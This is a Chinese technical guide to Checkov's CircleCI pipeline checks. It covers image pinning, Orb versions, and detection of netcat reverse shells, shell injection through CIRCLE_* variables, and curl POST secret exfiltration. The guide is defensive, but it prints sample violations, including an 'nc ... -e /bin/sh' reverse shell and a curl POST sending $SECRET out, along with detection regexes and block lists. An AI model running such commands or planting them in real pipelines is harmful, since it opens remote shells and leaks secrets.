Checkov 扫描 CircleCI Pipelines:CKV_CIRCLECIPIPELINES 检查项全解析与配置加固指南
【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkov
CircleCI 是当前使用最广泛的 CI/CD 平台之一,而.circleci/config.yml中的镜像引用、Orb 版本与run命令脚本恰恰是供应链攻击与秘密泄露的高发区。本文以 Checkov 官方策略索引文档 circleci_pipelines.md 为骨架,系统梳理 8 项CKV_CIRCLECIPIPELINES检查的策略语义、触发条件与修复方式,并结合本仓库源码(checkov/circleci_pipelines/)与测试用例(tests/circleci_pipelines/test_runner.py)讲解其底层实现原理,帮助读者在 CI 构建阶段提前发现并修复管道配置风险。
一、策略索引文档概览:8 项 CircleCI 管道检查
Checkov 官方维护的策略索引文档 circleci_pipelines.md 以表格形式列出了当前框架对 CircleCI Pipelines 的全部内置检查,每条记录包含四类关键元数据:
- Id:全局唯一的策略标识符,统一采用
CKV_CIRCLECIPIPELINES_N命名空间; - Type:框架类别,均为
circleci_pipelines; - Entity:被扫描的 YAML 结构路径(基于 JMESPath 表达式),决定了检查的挂载位置;
- Policy:策略的完整语义描述;
- IaC / Resource Link:所属 IaC 框架以及对应策略的源码实现文件。
全部 8 项检查(其中CKV_CIRCLECIPIPELINES_8因同时挂载executors与jobs两个实体而出现两条索引记录)汇总如下:
| Id | Entity(被扫描实体) | Policy(策略语义) | 源码实现 |
|---|---|---|---|
| CKV_CIRCLECIPIPELINES_1 | jobs.*.docker[].{image, __startline__, __endline__} | 确保管道镜像不使用latest版本标签 | latest_image.py |
| CKV_CIRCLECIPIPELINES_2 | jobs.*.docker[].{image, __startline__, __endline__} | 确保管道镜像通过哈希(digest)而非任意标签引用 | image_version_not_hash.py |
| CKV_CIRCLECIPIPELINES_3 | orbs.{orbs: @} | 确保不使用可变的开发版 Orb(@dev) | prevent_development_orbs.py |
| CKV_CIRCLECIPIPELINES_4 | orbs.{orbs: @} | 确保不使用未版本化的易变 Orb(@volatile) | prevent_volatile_orbs.py |
| CKV_CIRCLECIPIPELINES_5 | jobs.*.steps[] | 检测对 netcat 结合 IP 地址的可疑使用 | ReverseShellNetcat.py |
| CKV_CIRCLECIPIPELINES_6 | jobs.*.steps[] | 确保 run 命令不易受 shell 注入影响 | ShellInjection.py |
| CKV_CIRCLECIPIPELINES_7 | jobs.*.steps[] | 检测 run 任务中对 curl 的可疑使用 | SuspectCurlInScript.py |
| CKV_CIRCLECIPIPELINES_8 | executors.*.docker[]与jobs.*.docker[]两处实体 | 检测管道中的镜像使用情况 | DetectImagesUsage.py |
说明:
CKV_CIRCLECIPIPELINES_8的特殊之处在于它同时注册了两个实体,源码位于 DetectImagesUsage.py。它本身始终返回PASSED,作用是配合 Checkov 的镜像引用框架(Image Referencer)将管道中引用的容器镜像收集起来,交给镜像漏洞扫描(如sca_imagerunner)做后续分析。
二、Checkov 如何识别并扫描 CircleCI 配置文件
在深入各项策略之前,先理解 runner 层面的工作机制。CircleCI 扫描能力由 checkov/circleci_pipelines/runner.py 提供,它继承自yaml_doc.runner.Runner,通过 YAML 解析管线完成检查:
- 目标路径限定:
included_paths()返回[".circleci"],只有路径中包含.circleci目录的文件才会被纳入候选(runner.py); - 文件名校验:
is_workflow_file()进一步要求文件绝对路径中包含circleci目录,且文件名必须是config.yml或config.yaml(runner.py); - 注册表装配:
import_registry()返回 registry.py 中定义的registry,该注册表类型为CheckType.CIRCLECI_PIPELINES; - 资源定位:
get_resource()依据支持的实体类型,将匹配位置解析为人类可读的资源 ID,例如jobs(test-docker-versioned-img).docker.image1、jobs(test-echo).steps1或orbs(runner.py)。
从源码结构看,每个检查都继承BaseCircleCIPipelinesCheck(base_circleci_pipelines_check.py),其构造函数统一将categories设置为供应链安全(CheckCategories.SUPPLY_CHAIN),并在实例化时自动向 registry 注册(第 33 行),因此只需要在 checks 目录中定义类并在模块底部实例化(如check = ImageReferenceLatestTag()),框架启动时便会自动加载。
运行示例(对应测试用例 test_runner.py 的用法):
checkov -d . --framework circleci_pipelines # 或者只扫单个文件 checkov -f .circleci/config.yml --framework circleci_pipelines在 test_runner.py 的test_runner用例中,对 resources/.circleci/config.yml 执行扫描,预期结果是13个失败检查、32个通过检查、0个解析错误与跳过项,可以作为本地验证 Checkov 行为的基准。
三、镜像引用安全:latest标签与哈希校验
CircleCI 的jobs与executors节点通过docker:列表指定构建环境镜像,镜像的可变性直接决定构建的不可复现性与供应链风险。
CKV_CIRCLECIPIPELINES_1:禁止使用latest标签
- Entity:
jobs.*.docker[].{image: image, __startline__: __startline__, __endline__:__endline__} - 语义:确保管道镜像使用非
latest的版本标签。
源码实现位于 latest_image.py,核心逻辑非常直接:取出实体中的image字段,若其为字符串且以:latest结尾则判定为FAILED,否则PASSED。
# 违反:镜像以 latest 结尾 jobs: build: docker: - image: "buildpack-deps:latest" # 合规:使用固定版本标签 jobs: build: docker: - image: "mongo:2.6.8"使用latest意味着每次流水线执行时拉取的镜像内容都可能变化,一旦上游镜像被投毒,构建产物将不可控,这是供应链安全实践中明确禁止的做法。
CKV_CIRCLECIPIPELINES_2:镜像版本必须通过 digest 引用
- Entity:同
CKV_CIRCLECIPIPELINES_1 - 语义:确保镜像版本通过哈希(digest)而非任意标签引用。
源码实现位于 image_version_not_hash.py,判定规则为:
- 镜像字符串中包含
@(即image@sha256:...形式的 digest)→PASSED; - 镜像字符串中包含
latest→ 返回UNKNOWN(不判定),因为该情况已由CKV_CIRCLECIPIPELINES_1给出更精确的违规说明(源码注释明确说明这一设计取舍); - 其他情况(有标签但非 digest)→
FAILED。
# 合规:通过 sha256 digest 固定镜像 jobs: db: docker: - image: "redis@sha256:54057dd7e125ca41afe526a877e8bd35ec2cdd33b9217e022ed37bdcf7d09673" # 违反:仅有版本标签,未使用 digest jobs: db: docker: - image: "mongo:2.6.8"digest 直接指向镜像清单的唯一内容哈希,即使标签被恶意重指向也不会影响拉取结果,是镜像引用最严格的锁定方式。
四、Orb 供应链防护:@dev与@volatile
Orb 是 CircleCI 的可复用配置包,来自第三方命名空间,其版本语义直接关系到供应链信任边界。
CKV_CIRCLECIPIPELINES_3:禁止可变开发版 Orb
- Entity:
orbs.{orbs: @} - 语义:确保不使用可变的开发版 Orb。
实现位于 prevent_development_orbs.py:遍历orbs:段落的每一个值,只要字符串中包含@dev即判定整个段落FAILED。由于一次调用只能对整个orbs:段落返回一个结果(源码注释中也提到这是当前 JMESPath 反射机制的限制),因此段落内存在任意一个@devOrb 都会触发失败。
# 违反:使用了开发版 Orb orbs: some-orb: "orbs/orbname@dev:blah" # 合规:使用正式发布的版本 orbs: some-orb: "orbs/orbname@1.2.3"@dev:分支名形式的 Orb 指向可变的开发通道,任何一次推送都可能改变其行为,不适合在正式流水线中使用。
CKV_CIRCLECIPIPELINES_4:禁止未版本化的易变 Orb
- Entity:
orbs.{orbs: @} - 语义:确保不使用未版本化的易变 Orb。
实现位于 prevent_volatile_orbs.py,与上一项逻辑对称:只要值字符串中包含@volitile(注意源码中保留的是 CircleCI 官方拼写)即返回FAILED。
# 违反:引用了易变 Orb orbs: flaky: "namespace/orb@volatile" # 合规:锁定到稳定版本号 orbs: flaky: "namespace/orb@0.4.1"@volatile未关联任何不可变版本,每次执行都可能解析到不同内容,属于典型的不确定依赖,应当替换为显式版本号。
五、run 步骤脚本安全:netcat、shell 注入与 curl
jobs.*.steps[]中的run步骤承载着在容器内执行的 shell 命令,Checkov 通过特征模式匹配来发现恶意命令与注入面。这三项检查均支持两种run写法:字符串简写(run: "echo ...")与对象形式(run: {command: "...", name: "..."}),源码中分别对run字段与run.command字段进行匹配。
CKV_CIRCLECIPIPELINES_5:可疑的 netcat + IP 使用
实现位于 ReverseShellNetcat.py,核心是一个正则(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3}),即同时出现nc/netcat命令与四段式 IP 地址时判定FAILED。
# 违反:nc 连接远程 IP,典型的反弹 Shell 特征 steps: - run: "nc 192.168.1.100 4444 -e /bin/sh"反弹 Shell 是攻击者横向移动与持久化的常用手段,结合 IP 地址的 netcat 调用是明确的恶意行为信号。
CKV_CIRCLECIPIPELINES_6:run 命令的 shell 注入防护
实现位于 ShellInjection.py,它逐一使用 common/shell_injection_list.py 中定义的正则列表对命令做匹配,只要命中任意一项即FAILED。该黑名单目前包含 5 个 CircleCI 上下文变量(支持$VAR与${VAR}两种写法):
$CIRCLE_PR_REPONAME$CIRCLE_PR_USERNAME$CIRCLE_PULL_REQUESTS$CIRCLE_TAG$CIRCLE_BRANCH
# 违反:将外部可控的 PR 元数据拼入 shell 命令 steps: - run: command: "echo ${CIRCLE_BRANCH}" name: "Multi-line run with injection via vars"这类变量由外部输入(Pull Request、分支名、Tag)驱动,若直接拼接到命令中,攻击者可通过构造恶意分支名/PR 标题实现命令注入。建议将此类值通过BASH_ENV或参数化方式安全传递,并在使用前做白名单校验。测试用例 config.yml 中的test-inject、test-inject2、test-inject-ci-vars三个 Job 正是为此检查准备的失败样例。
CKV_CIRCLECIPIPELINES_7:run 任务中的可疑 curl 使用
实现位于 SuspectCurlInScript.py,判定规则为:命令包含curl时,按行拆分后若某一行同时包含curl与POST两个关键词则FAILED。
# 违反:curl 结合 POST,可能是秘密外传 steps: - run: command: "curl -x POST someurl $SECRET" name: "Multi-line export secret"curl ... POST模式常被用于把环境变量、密钥等敏感数据外发到攻击者控制的服务器(对应测试用例 config.yml 中的test-curl-secret)。若确有合法需求,应显式声明外发目标域名并配合审计;对可疑的curl -x POST组合应保持警惕。
六、在真实仓库中验证:测试资源与预期结果
test_runner.py 提供了端到端的验证入口,其测试资源 resources/.circleci/config.yml 几乎覆盖了上述全部检查的触发条件:
| Job / 配置片段 | 触发的检查 | 结果 |
|---|---|---|
orbs.some-orb: "orbs/orbname@dev:blah" | CKV_CIRCLECIPIPELINES_3 | 失败 |
orbs.new-orb: "whatever/orbname@goodorb" | 各项 | 通过 |
test-docker-hash-img(redis@sha256:...) | CKV_CIRCLECIPIPELINES_2 | 通过 |
test-docker-latest-img(buildpack-deps:latest) | CKV_CIRCLECIPIPELINES_1、2(UNKNOWN) | 失败 |
test-docker-versioned-img(mongo:2.6.8) | CKV_CIRCLECIPIPELINES_2 | 失败 |
test-inject/test-inject2(${CIRCLE_BRANCH}/$CIRCLE_BRANCH) | CKV_CIRCLECIPIPELINES_6 | 失败 |
test-inject-ci-vars(${CIRCLE_PR_REPONAME}) | CKV_CIRCLECIPIPELINES_6 | 失败 |
test-curl-secret(curl -x POST someurl $SECRET) | CKV_CIRCLECIPIPELINES_7 | 失败 |
test_runner断言该目录共产生13个失败项与32个通过项,且无解析错误;test_runner_honors_enforcement_rules则验证了通过RunnerFilter(use_enforcement_rules=True)并设置enforcement_rule_configs = {CheckType.CIRCLECIPIPELINES: OFF}可以将全部检查关闭(0 失败 / 0 通过),这说明 CircleCI 检查项同样遵循 Checkov 统一的强制规则(enforcement rule)机制。
如需将 CircleCI 扫描纳入日常开发流程,可参考以下用法:
# 扫描仓库根目录下所有 .circleci/config.yml checkov -d . --framework circleci_pipelines # 结合软失败模式,避免阻断 CI 但保留告警 checkov -d . --framework circleci_pipelines --soft-fail # 使用 --skip-check 豁免确认安全的规则 checkov -d . --framework circleci_pipelines --skip-check CKV_CIRCLECIPIPELINES_2七、小结:从索引到源码的加固路径
Checkov 的 CircleCI Pipelines 检查从三个维度守护 CI 配置安全:镜像引用(CKV_CIRCLECIPIPELINES_1/2)杜绝可变与未锁定镜像;Orb 依赖(CKV_CIRCLECIPIPELINES_3/4)封堵易变与开发版组件;run 脚本(CKV_CIRCLECIPIPELINES_5/6/7)拦截恶意命令与注入面。其中CKV_CIRCLECIPIPELINES_8承担镜像收集职责,为镜像漏洞扫描提供数据基础。
实践中建议将以下配置作为 CircleCI 加固基线:所有docker.image使用@sha256:digest 引用;所有 Orb 锁定正式版本号;run命令中禁止直接拼接CIRCLE_*外部变量,并警惕nc + IP、curl + POST组合。将checkov -d . --framework circleci_pipelines接入 CI 的流水线前置检查或本地 pre-commit 钩子,即可在构建阶段自动阻断上述风险,相关检查项的实现细节可随时回到 checkov/circleci_pipelines/checks/ 目录逐一核对。
【免费下载链接】checkovPrevent cloud misconfigurations and find vulnerabilities during build-time in infrastructure as code, container images and open source packages with Checkov by Bridgecrew.项目地址: https://gitcode.com/GitHub_Trending/ch/checkov
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考